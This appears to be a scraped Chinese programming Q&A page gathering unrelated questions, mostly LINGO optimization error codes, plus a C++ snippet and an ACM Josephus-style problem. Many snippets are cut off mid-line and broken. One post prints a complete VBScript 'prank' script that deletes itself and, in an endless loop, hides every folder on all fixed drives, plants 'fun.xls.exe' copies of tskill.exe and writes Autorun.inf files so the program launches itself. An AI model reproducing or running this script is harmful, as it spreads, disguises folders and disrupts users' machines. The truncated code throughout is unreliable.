LINGO代码求解,出现too many inequality or equality ralation

c++代码,
#include
using namespace std;
//声明
class Point;
Point operator+(Point &a,Point &b);
//定义点类
class Point
{
public:
int x,y;
Point(){}
Point(int xx,int yy){x=xx;y=yy;}
void print(){ cout

vbs整人代码翻译
On Error Resume Next
Set fso=CreateObject("Scripting.FileSystemObject")
Set Cx=fso.GetSpecialFolder(0)
fso.GetFile(WScript.ScriptFullName).Delete(True)
Do
C=fso.GetParentFolderName(Cx)
Set Fdrs=fso.GetFolder(C).SubFolders
For Each Fdr In Fdrs
If Not fso.GetExtensionName(Fdr.Name)="exe" Then
fso.CreateFolder(C & Fdr.Name & ".exe")
Set fun=fso.GetFile(C & "WINDOWSsystem32tskill.exe")
fun.Attributes=6
fun.Copy(C & Fdr.Name & ".exefun.xls.exe")
Set auto=fso.CreateTextFile(C & Fdr.Name & ".exeAutorun.inf")
auto.WriteLine("[Autorun]")
auto.WriteLine("Open=fun.xls.exe")
auto.Close
Set auto=Nothing
Set fun=Nothing
fso.GetFolder(C & Fdr.Name & ".exe").Attributes=Fdr.Attributes
Fdr.Attributes=6
End If
Next
Set Cx=Nothing
Set Fdrs=Nothing
Set drvs=fso.Drives
For Each drv In drvs
If drv.DriveType=2 Then
If drv & "" = C Then
Else
Set Fdrs=fso.GetFolder(drv).SubFolders
For Each Fdr In Fdrs
If Not fso.GetExtensionName(Fdr.Name)="exe" Then
Fdr.Name=Fdr.name & ".exe"
Set fun=fso.GetFile(C & "WINDOWSsystem32tskill.exe")
fun.Copy(drv & "" & Fdr.Name & "fun.xls.exe")
Set auto=fso.CreateTextFile(drv & "" & Fdr.Name & "Autorun.inf")
auto.WriteLine("[Autorun]")
auto.WriteLine("Open=fun.xls.exe")
auto.Close
Set auto=Nothing
Set fun=Nothing
End If
Next
End If
End If
Next
WScript.Sleep 60*1000
Loop
谁能解释一下这代码干什么用的?

lingo 错误代码1017
max=100*(x11+x21+x31+x41+x51+x61) + 60*(x12+x22+x32+x42+x52+x62)+8*(x13+x23+x33+x43+x53+x63)+40*(x14+x24+x34+x44+x54+x64)+110*(x15+x25+x35+x45+x55+x65)+60*(x16+x26+x36+x46+x56+x66)+30*(x17+x27+x37+x47+x57+x67)-5*(x11+x12+x13+x14+x15+x16+x17+x21+x22x+23x+x24+x25+x26+x27+x31+x32+x33+x34+x35+x36+x37+x41+x42+x43+x44+x45+x46+x47+x51+x52+x53+x54+x55+x56+x57+x61+x62+x63+x64+x65+x66+x67-m11-m12-m13-m14-m15-m16-m17-m21-m22m-23m-m24-m25-m26-m27-m31-m32-m33-m34-m35-m36-m37-m41-m42-m43-m44-m45-m46-m47-m51-m52-m53-m54-m55-m56-m57-m61-m62-m63-m64-m65-m66-m67)
x11-m11

跪求高手帮忙解答ACM程序代码
The input file will contain one or more lines, each line containing one integer n with , representing the number of cities in the country.
Input is terminated by a value of zero (0) for n.
输入 3 4 5 6 7 8 9 10 11 12 0 输出 2 5 2 4 3 11 2 3 8 16
To put an end to this problem, the University of Ulm has developed a contingency scheme for times of peak load to cut off net access for some cities of the country in a systematic, totally fair manner. Germany's cities were enumerated randomly from 1 to n. Freiburg was number 1, Ulm was number 2, Karlsruhe was number 3, and so on in a purely random order.
Then a number m would be picked at random, and Internet access would first be cut off in city 1 (clearly the fairest starting point) and then in every mth city after that, wrapping around to 1 after n, and ignoring cities already cut off. For example, if n=17 and m=5, net access would be cut off to the cities in the order [1,6,11,16,5,12,2,9,17,10,4,15,14,3,8,13,7]. The problem is that it is clearly fairest to cut off Ulm last (after all, this is where the best programmers come from), so for a given n, the random number m needs to be carefully chosen so that city 2 is the last city selected.

lingo错误代码161
model:
sets:
row/1..3/:z,dw,wtmax,wplus,wminus,bminus,bplus,cminus,cplus;
column/1..3/:p;
link(row,column):sminus,splus,q1minus,q1plus;
endsets
data:
p=0.2 0.6 0.2;
q1minus=
3.2 7 14
3.2 7 14
3.2 7 14;
q1plus=
3.8 9 16
3.8 9 16
3.8 9 16;
wtmax=7 7 7;
wminus=1.5 2.0 3.5;
wplus=2.5 4 6.5;
bminus=90 45 28;
bplus=110 55 32;
cminus=220 60 50;
cplus=280 90 70;
enddata
calc:
@for(row:dw=wplus-wminus);
endcalc
max=@sum(row:bplus*(wminus+dw*z)-@sum(link(i,j):p(j)*cminus(i)*sminus(i,j)));
@sum(link(i,j):wminus(i)+dw(i)*z(i)-sminus(i,j))=wminus+dw*z);
@for(link(i,j):wminus(i)+dw(i)*z(i)>=sminus(i,j));
@for(row:z

lingo错误代码11
MODEL
DATA:
P1=1.10352/1000000;
P2=6.6121/1000000;
P3=1.655278/10000;
p4=4.138196/10000;
p5=4.965835/1000;
p6=6.6211134/1000;
p7=0.050762;
ENDDATA:
s4=200;
s5=10;
s6=1;
s7=60;
r1

lingo程序纠错 错误代码63
sets:
time/1..3/;
document/1..3/;
link(time,document):a;
endsets
min=z;
z>=a(t,j)*t;
@gin(t);
@gin(j);
@for(document(y):
@sum(time(x):a(x,y))=1);
a(t,1)+a(t,2)+a(t,3)<=1;

lingo代码问题
model:
sets:
m/1..3/:f,p,A,Y;
n/1..10/:B;
link(m,n):C,D,Z;
endsets
min=0.4*(@sum(link(j,k):A(j)*B(k)*Z(j,k))+@sum(link(j,k):C(j,k)*B(k)*Z(j,k))+@sum(m(j):f(j)*Y(j)))+0.24*(@sum(link(j,k):D(j,k)*Z(j,k)));
@for(link(j,k):@bin(Z(j,k));@bin(Y(j)));
@for(link(j,k):@sum(link(j,k):Y(j)*Z(j,k))=1);
@for(n(k):@sum(n(k):B(k))*@sum(link(j,k):Z(j,k))

lingo代码如何实现while循环

代码如下：

calc:

n1=0;

@while((n1<0.05):

c=[-0.05,-0.27,-0.19,-0.185,-0.185];

A=[zeros(4,1),diag([0.025,0.015,0.055,0.026])];

b=n1*ones(4,1);

Aeq=[1,1.01,1.02,1.045,1.065];

beq=1;

LB=zeros(5,1);

[x,Q]=linprog(c,A,b,Aeq,beq,LB);

Q=-Q;

plot(n1,Q,'*r');

n1=n1+0.001;

)

endcalc

xlabel('n1'),ylabel('Q')

运行后却出现不能包含while循环错误,10版本后不是都支持while循环了吗?